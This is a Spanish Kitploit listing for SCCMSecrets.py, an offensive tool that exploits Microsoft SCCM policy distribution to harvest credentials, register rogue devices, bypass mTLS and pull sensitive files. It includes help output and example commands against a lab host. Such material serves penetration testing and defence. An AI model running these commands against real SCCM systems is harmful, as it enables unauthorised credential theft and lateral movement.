Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SCCMSecrets — SCCMSecrets.py tiene como objetivo explotar la distribución de políticas de SCCM para la recolección de credenciales, el acceso inicial y el movimiento lateral. | Kitploit
Herramientas/GitHubGitHub/synacktiv/sccmsecrets
Autenticación y AutorizaciónReconocimientoAtaques de ContraseñasExplotaciónMovimiento LateralRecopilación de InformaciónPost-ExplotaciónMala Configuración
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py tiene como objetivo explotar la distribución de políticas de SCCM para la recolección de credenciales, el acceso inicial y el movimiento lateral.

Ver Repositorio
27333hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SCCMSecrets

SCCMSecrets.py es una herramienta de explotación de directivas de SCCM. Va más allá de la extracción de credenciales NAA y pretende ofrecer un enfoque integral para la explotación de directivas de SCCM. La herramienta puede ejecutarse con distintos niveles de privilegios e intentará descubrir posibles malas configuraciones relacionadas con la distribución de directivas. Más detalles sobre la herramienta y su uso están disponibles en el artículo asociado: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Hay dos subcomandos disponibles: policies y files.

Policies

Este subcomando interactúa con un Management Point de SCCM para volcar el contenido de todas las directivas secretas (incluyendo la configuración de NAA, secuencias de tareas con credenciales o variables de colección). Para ello se necesita un dispositivo SCCM aprobado, que puede obtenerse de tres formas.

  • Si no se proporciona una cuenta de máquina, SCCMSecrets intentará registrar un dispositivo y abusar de la aprobación automática de dispositivos. Se trata de una configuración de SCCM (no predeterminada) que concede automáticamente el estado "Aprobado" a los nuevos dispositivos registrados de forma anónima.
  • Si se proporciona una cuenta de máquina, SCCMSecrets registrará un nuevo dispositivo mediante el endpoint de registro autenticado. Por defecto, SCCM concederá el estado "Aprobado" a los dispositivos registrados a través de este endpoint.
  • Si se proporciona la bandera --altauth, SCCMSecrets explotará un endpoint de autenticación alternativo, permitiendo omitir los requisitos de mTLS y obtener un dispositivo aprobado sin credenciales y sin la mala configuración de aprobación automática de dispositivos (más información aquí). Esto solo funciona cuando el MP está configurado para usar HTTPS, Y el sitio SCCM está configurado para imponer HTTPS en todo el sitio (si el MP usa HTTPS pero el sitio permite HTTP o HTTPS, los dispositivos no se aprueban automáticamente).
  • También se puede proporcionar un dispositivo existente (--use-existing-device). Este argumento espera un directorio que contenga el archivo guid.txt (GUID del dispositivo) y el archivo key.pem (clave privada del dispositivo). Puede ser un dispositivo creado por una ejecución anterior de SCCMSecrets, o el correspondiente a un cliente SCCM legítimo comprometido.

Ten en cuenta que las directivas de SCCM están asociadas a colecciones. Registrar un nuevo dispositivo colocará este dispositivo en las colecciones predeterminadas; por lo tanto, solo se recuperarán las directivas secretas de las colecciones predeterminadas. Por eso puede resultar interesante suplantar a un cliente SCCM legítimo comprometido con --use-existing-device. De hecho, este cliente legítimo podría formar parte de colecciones personalizadas asociadas a directivas secretas adicionales.

La salida se colocará en un subdirectorio del directorio loot (formato: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Files

Este subcomando indexará los archivos almacenados en un Distribution Point y descargará los interesantes. SCCMSecrets intentará primero identificar si el acceso anónimo está habilitado (no predeterminado). Si es así, los archivos pueden indexarse y descargarse sin autenticación. De lo contrario, se necesitarán credenciales de dominio.

Es posible descargar archivos por extensión. SCCMSecrets indexará los archivos de todos los paquetes alojados en el Distribution Point (lo que dará como resultado un archivo index.txt con el formato tree de Unix), y descargará los archivos con las extensiones especificadas. Al proporcionar una lista vacía de extensiones, solo se realizará la indexación de archivos. En ambos casos, a partir del archivo de índice producido, es posible usar la bandera --urls para descargar archivos específicos interesantes (sin reindexar).

Ten en cuenta que los requisitos de mTLS, si están implementados, pueden omitirse proporcionando la bandera --nocert.

La salida se colocará en un subdirectorio del directorio loot (formato: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Acerca de la imposición de HTTPS

Por defecto, los clientes pueden interactuar con su Management Point o Distribution Point usando HTTP simple. Sin embargo, la instalación de SCCM puede configurarse de forma más segura imponiendo el uso de HTTPS. Cuando este es el caso (ya sea para el Management Point, el Distribution Point, o ambos), SCCM requerirá autenticación de certificado de cliente utilizando un certificado PKI interno con el propósito de "autenticación de cliente".

Aún es posible llevar a cabo los ataques presentados anteriormente; sin embargo, se debe proporcionar un certificado PKI válido a través de las banderas --pki-cert y --pki-key (formato PEM). Las URLs del Management Point / Distribution Point también deben llevar el prefijo https://. Ten en cuenta que las banderas --altauth (para policies) y --nocert (para files) proporcionan formas de omitir la autenticación mTLS (más información aquí).

Instalación

Puedes instalar SCCMSecrets.py clonando el repositorio e instalando las dependencias.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Ejemplos

A continuación se muestran algunos comandos de ejemplo.

Policies

Recuperar directivas secretas sin proporcionar una cuenta de máquina. Esto intentará explotar la mala configuración de aprobación automática de dispositivos (configuración no predeterminada)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Recuperar directivas secretas proporcionando una cuenta de máquina. Esto funcionará en configuraciones SCCM predeterminadas

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Recuperar directivas secretas de un dispositivo ya existente. La carpeta compromised_device contiene un archivo guid.txt y key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Recuperar directivas secretas cuando el Management Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Recuperar directivas secretas usando el endpoint de autenticación alternativo, lo que permite omitir la autenticación mTLS y obtener un dispositivo aprobado sin proporcionar credenciales (más información aquí). Solo funciona cuando el MP usa HTTPS y HTTPS está impuesto en todo el sitio

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Files

Recuperar archivos del Distribution Point sin proporcionar credenciales. Esto intentará explotar el acceso anónimo al DP (configuración no predeterminada)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Recuperar archivos del Distribution Point con credenciales. Esto funcionará en configuraciones SCCM predeterminadas

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Recuperar archivos con una lista específica de extensiones. Autenticarse con el hash de la cuenta de máquina

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Recuperar archivos específicos del Distribution Point proporcionando una lista de URLs (1 por línea)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

Recuperar archivos del DP cuando el Distribution Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

Omitir la autenticación mTLS cuando el Distribution Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Descargar herramienta